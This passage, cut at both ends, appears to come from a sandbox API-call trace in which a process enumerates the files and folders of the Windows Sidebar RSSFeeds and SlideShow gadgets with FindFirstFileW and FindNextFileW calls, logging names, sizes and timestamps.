hHeap=0x550000) returned 1 [0261.396] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x86a, dwReserved0=0x0, dwReserved1=0x0, cFileName="flyout.html", cAlternateFileName="")) returned 1 [0261.396] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="gadget.xml", cAlternateFileName="")) returned 1 [0261.396] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22ad0a6d, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0261.396] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\js\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22ad0a6d, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0261.396] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22ad0a6d, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0261.396] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1aee4, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSSFeeds.js", cAlternateFileName="")) returned 1 [0261.396] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x15a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.js", cAlternateFileName="")) returned 1 [0261.396] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x15a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.js", cAlternateFileName="")) returned 0 [0261.396] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0261.396] GetProcessHeap () returned 0x550000 [0261.396] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25f0090 | out: hHeap=0x550000) returned 1 [0261.396] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x271c, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSSFeeds.html", cAlternateFileName="")) returned 1 [0261.396] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xcfe, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.html", cAlternateFileName="")) returned 1 [0261.396] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xcfe, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.html", cAlternateFileName="")) returned 0 [0261.397] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0261.397] GetProcessHeap () returned 0x550000 [0261.397] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0261.397] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc467a55c, ftCreationTime.dwHighDateTime=0x1c9ea13, ftLastAccessTime.dwLowDateTime=0xc467a55c, ftLastAccessTime.dwHighDateTime=0x1c9ea13, ftLastWriteTime.dwLowDateTime=0xc467a55c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1d07, dwReserved0=0x0, dwReserved1=0x0, cFileName="icon.png", cAlternateFileName="")) returned 1 [0261.397] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8199177f, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8199177f, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0261.397] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8199177f, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8199177f, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0261.399] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8199177f, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8199177f, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0261.399] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc467a55c, ftCreationTime.dwHighDateTime=0x1c9ea13, ftLastAccessTime.dwLowDateTime=0xc467a55c, ftLastAccessTime.dwHighDateTime=0x1c9ea13, ftLastWriteTime.dwLowDateTime=0xc48435dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1369, dwReserved0=0x0, dwReserved1=0x0, cFileName="16-on-black.gif", cAlternateFileName="")) returned 1 [0261.399] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba5b8003, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba5b8003, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc4f4167c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x125, dwReserved0=0x0, dwReserved1=0x0, cFileName="buttonDown_Off.png", cAlternateFileName="")) returned 1 [0261.399] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba5de162, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba5de162, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc4f677dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="buttonDown_On.png", cAlternateFileName="")) returned 1 [0261.399] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba5b8003, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba5b8003, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc4f8d93c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x118, dwReserved0=0x0, dwReserved1=0x0, cFileName="buttonUp_Off.png", cAlternateFileName="")) returned 1 [0261.399] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba5b8003, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba5b8003, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc4f8d93c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="buttonUp_On.png", cAlternateFileName="")) returned 1 [0261.399] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba6042c1, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba6042c1, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc4fb3a9c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x112b, dwReserved0=0x0, dwReserved1=0x0, cFileName="flyoutBack.png", cAlternateFileName="")) returned 1 [0261.399] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba4f9928, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba4f9928, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc4fb3a9c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xfc, dwReserved0=0x0, dwReserved1=0x0, cFileName="item_hover_docked.png", cAlternateFileName="")) returned 1 [0261.399] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba51fa87, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba51fa87, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc5d89a7c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xba3, dwReserved0=0x0, dwReserved1=0x0, cFileName="item_hover_floating.png", cAlternateFileName="")) returned 1 [0261.399] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba545be6, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba545be6, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc69969dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xb6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="item_hover_flyout.png", cAlternateFileName="")) returned 1 [0261.399] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba56bd45, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba56bd45, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc69969dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xcaa, dwReserved0=0x0, dwReserved1=0x0, cFileName="navBack.png", cAlternateFileName="")) returned 1 [0261.399] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba6042c1, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba6042c1, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc69969dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x175c, dwReserved0=0x0, dwReserved1=0x0, cFileName="rssBackBlue_docked.png", cAlternateFileName="")) returned 1 [0261.399] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba62a420, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba62a420, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc69969dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x22ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="rssBackBlue_Undocked.png", cAlternateFileName="")) returned 1 [0261.399] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba591ea4, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba591ea4, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc69bcb3c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x6a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rssLogo.gif", cAlternateFileName="")) returned 1 [0261.399] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba56bd45, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba56bd45, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc69969dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xb8d, dwReserved0=0x0, dwReserved1=0x0, cFileName="rss_headline_glow_docked.png", cAlternateFileName="")) returned 1 [0261.399] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba591ea4, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba591ea4, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc69969dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xbb7, dwReserved0=0x0, dwReserved1=0x0, cFileName="rss_headline_glow_floating.png", cAlternateFileName="")) returned 1 [0261.399] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba591ea4, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba591ea4, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc69969dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x4f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="rss_headline_glow_flyout.png", cAlternateFileName="")) returned 1 [0261.399] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba591ea4, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba591ea4, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc69969dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x4f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="rss_headline_glow_flyout.png", cAlternateFileName="")) returned 0 [0261.399] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0261.400] GetProcessHeap () returned 0x550000 [0261.400] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0261.400] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbbb4a6d2, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbbb4a6d2, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc6d0297c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1816, dwReserved0=0x0, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 1 [0261.400] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbbb4a6d2, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbbb4a6d2, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc6d0297c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1816, dwReserved0=0x0, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 0 [0261.401] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0261.401] GetProcessHeap () returned 0x550000 [0261.401] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0261.401] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea8d4f6, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SlideShow.Gadget", cAlternateFileName="SLIDES~1.GAD")) returned 1 [0261.401] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea8d4f6, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0261.402] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea8d4f6, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0261.402] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbbafe414, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbbafe414, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xcb0b3b1c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x7575, dwReserved0=0x0, dwReserved1=0x0, cFileName="drag.png", cAlternateFileName="")) returned 1 [0261.402] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x229c575e, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0261.402] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x229c575e, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0261.402] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x229c575e, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0261.402] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x229c575e, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1 [0261.402] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\css\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x229c575e, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0261.403] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x229c575e, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0261.403] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, 